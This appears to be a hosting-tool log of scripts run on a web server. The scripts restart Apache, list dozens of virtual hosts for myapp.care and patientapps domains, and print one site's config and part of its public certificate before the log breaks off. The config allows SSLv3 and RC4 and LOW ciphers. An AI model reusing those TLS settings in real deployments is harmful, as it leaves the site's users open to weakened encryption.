echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_www_net.conf= 1'
fi
2025-10-09 11:44:32:
chmod 755 /tmp/pkp184284; /tmp/pkp184284; rm /tmp/pkp184284
2025-10-09 11:44:32:
2025-10-09 11:44:32:
PUT: /tmp/pkp458402
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-09 11:44:32:
chmod 755 /tmp/pkp458402; /tmp/pkp458402; rm /tmp/pkp458402
2025-10-09 11:44:32:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-09 11:44:32: Establishing a connection
2025-10-09 11:44:32:
PUT: /tmp/pkp910699
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-09 11:44:33:
chmod 755 /tmp/pkp910699; /tmp/pkp910699; rm /tmp/pkp910699
2025-10-09 11:44:33:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
alias myapp.care
port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
alias www.cn-dego.myapp.care
port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
alias www.d-oak.myapp.care
port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
alias www.ma1-acrp.myapp.care
port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
alias www.ma1-anfr.myapp.care
port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
alias www.ma1-anin.myapp.care
port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
alias www.ma1-ankp.myapp.care
port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
alias www.ma1-anrp.myapp.care
port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
alias www.ma1-arcr.myapp.care
port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
alias www.ma1-asst.myapp.care
port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
alias www.ma1-chel.myapp.care
port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
alias www.ma1-cybb.myapp.care
port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
alias www.ma1-epas.myapp.care
port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
alias www.ma1-fass.myapp.care
port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
alias www.ma1-ldhr.myapp.care
port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
alias www.ma1-lsst.myapp.care
port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
alias www.ma1-mtfp.myapp.care
port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
alias www.ma1-mvrc.myapp.care
port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
alias www.ma1-octf.myapp.care
port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
alias www.ma1-ovin.myapp.care
port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
alias www.ma1-pfer.myapp.care
port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
alias www.ma1-prls.myapp.care
port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
alias www.ma1-rcl.myapp.care
port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
alias www.ma1-rorp.myapp.care
port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
alias www.ma1-savr.myapp.care
port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
alias www.ma1-shem.myapp.care
port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
alias www.ma1-sspr.myapp.care
port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
alias www.ma1-tosr.myapp.care
port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
alias www.ma1-tylo.myapp.care
port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
alias www.ma1-typa.myapp.care
port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
alias www.ma1-tyto.myapp.care
port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
alias www.ma1-utfa.myapp.care
port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
alias www.ma1-vasc.myapp.care
port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
alias www.ma1-vasr.myapp.care
port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
alias www.ma2-acrp.myapp.care
port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
alias www.ma2-anar.myapp.care
port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
alias www.ma2-anfr.myapp.care
port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
alias www.ma2-anin.myapp.care
port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
alias www.ma2-anrp.myapp.care
port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
alias www.ma2-buni.myapp.care
port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
alias www.ma2-chel.myapp.care
port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
alias www.ma2-hamm.myapp.care
port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
alias www.ma2-hind.myapp.care
port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
alias www.ma2-lcl.myapp.care
port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
alias www.ma2-mdfu.myapp.care
port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
alias www.ma2-mtfp.myapp.care
port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
alias www.ma2-rcl.myapp.care
port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
alias www.pai-lc.myapp.care
port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
alias 847670.myapp.care
alias 573398.myapp.care
port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
alias www.pai-rco.myapp.care
port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
alias www.sma1-lgb.myapp.care
port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
alias www.sma1-lrygb.myapp.care
port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
alias www.sma1-lsg.myapp.care
port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
alias www.sma1-pcnl.myapp.care
port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
alias www.test.myapp.care
port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
alias www.version2.myapp.care
wild alias *.myapp.care
port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
alias live.patientapps.net
port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
alias www.patientapps.net
port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
alias store.patientapps.com
alias store.patientapps.co
port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
*:443 is a NameVirtualHost
default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
alias myapp.care
port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
alias www.cn-dego.myapp.care
port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
alias www.d-oak.myapp.care
port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
alias www.ma1-acrp.myapp.care
port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
alias www.ma1-anfr.myapp.care
port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
alias www.ma1-anin.myapp.care
port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
alias www.ma1-ankp.myapp.care
port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
alias www.ma1-anrp.myapp.care
port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
alias www.ma1-arcr.myapp.care
port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
alias www.ma1-asst.myapp.care
port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
alias www.ma1-chel.myapp.care
port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
alias www.ma1-cybb.myapp.care
port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
alias www.ma1-dego.myapp.care
port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
alias www.ma1-epas.myapp.care
port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
alias www.ma1-fass.myapp.care
port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
alias www.ma1-ldhr.myapp.care
port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
alias www.ma1-lsst.myapp.care
port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
alias www.ma1-mtfp.myapp.care
port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
alias www.ma1-mvrc.myapp.care
port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
alias www.ma1-octf.myapp.care
port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
alias www.ma1-ovin.myapp.care
port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
alias www.ma1-pfer.myapp.care
port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
alias www.ma1-prls.myapp.care
port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
alias www.ma1-rcl.myapp.care
port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
alias www.ma1-rorp.myapp.care
port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
alias www.ma1-savr.myapp.care
port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
alias www.ma1-shem.myapp.care
port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
alias www.ma1-sspr.myapp.care
port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
alias www.ma1-tosr.myapp.care
port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
alias www.ma1-tylo.myapp.care
port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
alias www.ma1-typa.myapp.care
port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
alias www.ma1-tyto.myapp.care
port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
alias www.ma1-utfa.myapp.care
port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
alias www.ma1-vasc.myapp.care
port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
alias www.ma1-vasr.myapp.care
port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
alias www.ma2-acrp.myapp.care
port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
alias www.ma2-anar.myapp.care
port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
alias www.ma2-anfr.myapp.care
port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
alias www.ma2-anin.myapp.care
port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
alias www.ma2-anrp.myapp.care
port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
alias www.ma2-buni.myapp.care
port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
alias www.ma2-chel.myapp.care
port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
alias www.ma2-hamm.myapp.care
port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
alias www.ma2-hind.myapp.care
port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
alias www.ma2-lcl.myapp.care
port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
alias www.ma2-mdfu.myapp.care
port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
alias www.ma2-mtfp.myapp.care
port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
alias www.ma2-rcl.myapp.care
port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
alias www.pai-lc.myapp.care
port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
alias 847670.myapp.care
alias 573398.myapp.care
port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
alias www.pai-rco.myapp.care
port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
alias www.sma1-lgb.myapp.care
port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
alias www.sma1-lrygb.myapp.care
port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
alias www.sma1-lsg.myapp.care
port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
alias www.sma1-pcnl.myapp.care
port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
alias www.test.myapp.care
port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
alias www.version2.myapp.care
wild alias *.myapp.care
port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
alias live.patientapps.net
port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
alias www.patientapps.net
port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
alias store.patientapps.com
alias store.patientapps.co
port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-09 11:44:33:
PUT: /tmp/pkp500411
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/patientapps_www_net.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-09 11:44:33:
chmod 755 /tmp/pkp500411; /tmp/pkp500411; rm /tmp/pkp500411
2025-10-09 11:44:33:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_www_net.conf 1409
<VirtualHost *:80>
ServerName patientapps.net
ServerAlias www.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_www
<Directory /var/www/patientapps_www>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/www_access.log combined
ErrorLog /var/log/apache2/patientapps/www_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.php index.html index.htm index.py
</VirtualHost>
<VirtualHost *:443>
ServerName patientapps.net
ServerAlias www.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8.crt
DocumentRoot /var/www/patientapps_www
<Directory /var/www/patientapps_www>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/www_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.php index.html index.htm index.py
</VirtualHost>
2025-10-09 11:44:33:
PUT: /tmp/pkp333505
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-09 11:44:33:
chmod 755 /tmp/pkp333505; /tmp/pkp333505; rm /tmp/pkp333505
2025-10-09 11:44:33:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8.crt 5377
71:e0:34:8a:ad:27:e5:3d:9e:84:8e:5a:7e:38:3a:dd
-----BEGIN CERTIFICATE-----
MIIFDTCCA/WgAwIBAgISBn/Z2BBkz5S7wtdYCjacgJBCMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDA5MTA0NjAxWhcNMjYwMTA3MTA0NjAwWjAaMRgwFgYDVQQD
Ew9wYXRpZW50YXBwcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCybVMm17ecDb1x2k90H7ApXRlYQsVexjsiumSp4yPSpFQVbKvNNrb0ERpsfxhT
sZPKR1hH1dbW5c61zPN4w8Z9VpdHvMFV+J7HsnPVvyHLshH+8xrkSs5N9AxGH0hJ
ZxLyW7HFm4voIOXEVchtVoz7RQ3PB3owZnKd9A/iTD2ysqbNx7XW1B5EVBpyw5f0
z/Jq7ZLK+PqCd2RrszUg/q5IC3e3zflgUv/3W4uNuu04+mMe9j/TbQtnwWVZ6gf2
MDiH2doYq2cymuys30FL4jGxC0JlrBGr6uqMG7uoGKPH+IPGy9Xxt0m8kJGJjrpv
